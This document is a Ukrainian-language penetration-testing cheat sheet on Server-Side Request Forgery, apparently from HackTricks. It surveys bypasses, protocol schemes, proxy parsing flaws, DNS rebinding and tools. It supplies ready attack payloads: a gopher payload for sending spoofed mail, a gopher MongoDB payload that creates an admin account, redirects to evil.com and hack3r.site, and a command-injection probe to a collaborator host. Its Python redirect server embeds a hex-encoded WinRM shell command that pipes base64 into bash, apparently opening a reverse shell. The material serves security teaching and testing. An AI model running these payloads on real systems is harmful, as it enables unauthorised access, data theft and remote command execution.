356 lines
29 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# SSRF (Server Side Request Forgery)
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
Вразливість **Server-side Request Forgery (SSRF)** виникає, коли зловмисник маніпулює **сервісом на стороні сервера**, змушуючи його робити **HTTP запити** до домену на свій вибір. Ця вразливість відкриває сервер для довільних зовнішніх запитів, спрямованих зловмисником.
## Захоплення SSRF
Перше, що вам потрібно зробити, це захопити взаємодію SSRF, згенеровану вами. Для захоплення HTTP або DNS взаємодії ви можете використовувати такі інструменти:
- **Burp Collaborator**
- [**pingb**](http://pingb.in)
- [**canarytokens**](https://canarytokens.org/generate)
- [**interractsh**](https://github.com/projectdiscovery/interactsh)
- [**http://webhook.site**](http://webhook.site)
- [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
- [http://requestrepo.com/](http://requestrepo.com/)
- [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
- [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator, що використовує ngrok
## Обхід доменів у білому списку
Зазвичай ви виявите, що SSRF працює лише в **певних доменах у білому списку** або URL. На наступній сторінці ви знайдете **збірку технік для спроби обійти цей білый список**:
{{#ref}}
url-format-bypass.md
{{#endref}}
### Обхід через відкритий редирект
Якщо сервер правильно захищений, ви можете **обійти всі обмеження, експлуатуючи відкритий редирект на веб-сторінці**. Оскільки веб-сторінка дозволяє **SSRF до того ж домену** і, ймовірно, буде **слідувати редиректам**, ви можете експлуатувати **відкритий редирект, щоб змусити сервер отримати доступ до будь-якого внутрішнього ресурсу**.\
Детальніше читайте тут: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Протоколи
- **file://**
- URL-схема `file://` посилається безпосередньо на `/etc/passwd`: `file:///etc/passwd`
- **dict://**
- URL-схема DICT описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад, що ілюструє конструкцію URL, націлену на конкретне слово, базу даних і номер запису, а також випадок потенційного зловживання PHP-скриптом для підключення до сервера DICT з наданими зловмисником обліковими даними: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://**
- Визначено як протокол для безпечного передачі файлів через захищений канал, наведено приклад, що демонструє, як PHP-скрипт може бути експлуатований для підключення до шкідливого SFTP-сервера: `url=sftp://generic.com:11111/`
- **TFTP://**
- Протокол простого передачі файлів, що працює через UDP, згадується з прикладом PHP-скрипта, призначеного для надсилання запиту до TFTP-сервера. Запит TFTP надсилається до 'generic.com' на порту '12346' для файлу 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
- Цей сегмент охоплює Lightweight Directory Access Protocol, підкреслюючи його використання для управління та доступу до розподілених служб інформації про каталоги через IP-мережі. Взаємодія з LDAP-сервером на localhost: `'%0astats%0aquit' через ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
- Описано метод експлуатації вразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальших розслідувальних дій на основі цієї інформації.
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
```
- **Curl URL globbing - WAF обход**
- Якщо SSRF виконується за допомогою **curl**, curl має функцію, звану [**URL globbing**](https://everything.curl.dev/cmdline/globbing), яка може бути корисною для обходу WAF. Наприклад, у цьому [**описі**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) ви можете знайти цей приклад для **перетворення шляху через протокол `file`**:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
- **Gopher://**
- Обговорюється можливість протоколу Gopher вказувати IP, порт і байти для зв'язку з сервером, а також інструменти, такі як Gopherus і remote-method-guesser для створення payloads. Ілюструються два різні використання:
### Gopher://
Використовуючи цей протокол, ви можете вказати **IP, порт і байти**, які ви хочете, щоб сервер **надіслав**. Тоді ви можете в основному експлуатувати SSRF для **зв'язку з будь-яким TCP сервером** (але вам потрібно знати, як спілкуватися з сервісом спочатку).\
На щастя, ви можете використовувати [Gopherus](https://github.com/tarunkant/Gopherus) для створення payloads для кількох сервісів. Крім того, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) може бути використаний для створення _gopher_ payloads для _Java RMI_ сервісів.
**Gopher smtp**
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
**Gopher HTTP**
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP — Повернене з'єднання до 1337**
```php:redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
#### Gopher MongoDB -- Створити користувача з ім'ям користувача=admin з паролем=admin123 та з правами=адміністратор
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
```
## SSRF через заголовок Referrer та інші
Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, що випадково піддає програми вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, згадані в заголовку Referrer, для аналізу вмісту реферального сайту. Для виявлення цих вразливостей рекомендується плагін Burp Suite "**Collaborator Everywhere**", який використовує спосіб обробки заголовка Referer аналітичними інструментами для ідентифікації потенційних поверхонь атаки SSRF.
## SSRF через дані SNI з сертифіката
Неправильна конфігурація, яка може дозволити з'єднання з будь-яким бекендом через просту настройку, ілюструється прикладом конфігурації Nginx:
```
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
```
У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Ця налаштування відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати, просто вказавши бажану IP-адресу або доменне ім'я в полі SNI. Приклад експлуатації для примусового з'єднання з довільним бекендом, таким як `internal.host.com`, за допомогою команди `openssl` наведено нижче:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
## [Wget file upload](../file-upload/index.html#wget-file-upload-ssrf-trick)
## SSRF з Command Injection
Можливо, варто спробувати payload, наприклад: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
## Рендеринг PDF
Якщо веб-сторінка автоматично створює PDF з деякою інформацією, яку ви надали, ви можете **вставити деякий JS, який буде виконаний самим PDF-генератором** (сервером) під час створення PDF, і ви зможете зловживати SSRF. [**Знайдіть більше інформації тут**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## Від SSRF до DoS
Створіть кілька сесій і спробуйте завантажити великі файли, експлуатуючи SSRF з сесій.
## PHP функції SSRF
Перевірте наступну сторінку на наявність вразливих PHP та навіть Wordpress функцій:
{{#ref}}
../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
{{#endref}}
## SSRF перенаправлення на Gopher
Для деяких експлуатацій вам може знадобитися **надіслати відповідь на перенаправлення** (можливо, щоб використовувати інший протокол, наприклад gopher). Ось різні коди на python для відповіді з перенаправленням:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
```python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
## Неправильно налаштовані проксі для SSRF
Трюки [**з цього посту**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
### Flask
<details>
<summary>Вразливий код проксі Flask</summary>
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
```
</details>
Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкову назву хоста іменем користувача** та інжектувати нове. Запит атаки:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Вразливий код:
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
Було виявлено, що можливо **почати шлях** запиту з символу **`;`**, що дозволяє потім використовувати **`@`** та інжектувати новий хост для доступу. Запит атаки:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### PHP вбудований веб-сервер <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
<details>
<summary>Вразливий PHP код</summary>
```php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
PHP дозволяє використовувати **символ `*` перед слешем у шляху** URL, однак має інші обмеження, такі як те, що його можна використовувати лише для кореневого шляху `/` і що крапки `.` не дозволені перед першим слешем, тому потрібно використовувати IP-адресу, закодовану в шістнадцятковому форматі без крапок, наприклад:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
## DNS Rebidding CORS/SOP обход
Якщо у вас є **проблеми** з **екстракцією контенту з локальної IP-адреси** через **CORS/SOP**, **DNS Rebidding** може бути використано для обходу цього обмеження:
{{#ref}}
../cors-bypass.md
{{#endref}}
### Автоматизований DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) - це інструмент для виконання [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) атак. Він включає необхідні компоненти для повторного зв'язування IP-адреси DNS-імені сервера атаки з IP-адресою цільової машини та для подачі атакуючих навантажень для експлуатації вразливого програмного забезпечення на цільовій машині.
Перегляньте також **публічно працюючий сервер у** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS Session ID/Session ticket
Вимоги:
- **SSRF**
- **Вихідні TLS сесії**
- **Речі на локальних портах**
Атака:
1. Попросіть користувача/бота **доступитися** до **домена**, контрольованого **зловмисником**
2. **TTL** **DNS** становить **0** сек (тому жертва незабаром перевірить IP домена знову)
3. Створюється **TLS з'єднання** між жертвою та доменом зловмисника. Зловмисник вводить **навантеження всередину** **Session ID або Session Ticket**.
4. **Домен** почне **безкінечний цикл** перенаправлень проти **себе**. Мета цього - змусити користувача/бота отримати доступ до домену, поки він не виконає **знову** **DNS запит** домену.
5. У DNS запиті **тепер** надається **приватна IP** адреса (127.0.0.1, наприклад)
6. Користувач/бот спробує **відновити TLS з'єднання** і для цього він **надішле** **Session** ID/Ticket ID (де містилося **навантеження** зловмисника). Тож вітаємо, ви змогли змусити **користувача/бота атакувати себе**.
Зверніть увагу, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (_memcache_), вам потрібно змусити жертву встановити початкове з'єднання з www.attacker.com:11211 (**порт завжди має бути однаковим**).\
Щоб **виконати цю атаку, ви можете використовувати інструмент**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Для **додаткової інформації** ознайомтеся з доповіддю, де пояснюється ця атака: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## Сліпа SSRF
Різниця між сліпою SSRF і не сліпою полягає в тому, що в сліпій ви не можете бачити відповідь на запит SSRF. Тоді експлуатувати її складніше, оскільки ви зможете експлуатувати лише добре відомі вразливості.
### Часова SSRF
**Перевіряючи час** відповідей від сервера, можливо, **можна дізнатися, чи існує ресурс чи ні** (можливо, доступ до існуючого ресурсу займає більше часу, ніж доступ до неіснуючого)
## Експлуатація Cloud SSRF
Якщо ви знайдете вразливість SSRF на машині, що працює в хмарному середовищі, ви можете отримати цікаву інформацію про хмарне середовище та навіть облікові дані:
{{#ref}}
cloud-ssrf.md
{{#endref}}
## Платформи вразливі до SSRF
Кілька відомих платформ містять або містили вразливості SSRF, перевірте їх у:
{{#ref}}
ssrf-vulnerable-platforms.md
{{#endref}}
## Інструменти
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
Інструмент для виявлення та експлуатації вразливостей SSRF
### [Gopherus](https://github.com/tarunkant/Gopherus)
- [Блог про Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Цей інструмент генерує Gopher навантаження для:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [Блог про використання SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ - це сканер вразливостей _Java RMI_, який підтримує операції атаки для найбільш поширених вразливостей _Java RMI_. Більшість доступних операцій підтримують опцію `--ssrf`, щоб згенерувати _SSRF_ навантаження для запитуваної операції. Разом з опцією `--gopher` можна безпосередньо генерувати готові до використання _gopher_ навантаження.
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxy - це багатопотоковий HTTP проксі-сервер, призначений для тунелювання HTTP-трафіку клієнта через HTTP-сервери, вразливі до Server-Side Request Forgery (SSRF).
### Для практики
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## Посилання
- [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
- [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
{{#include ../../banners/hacktricks-training.md}}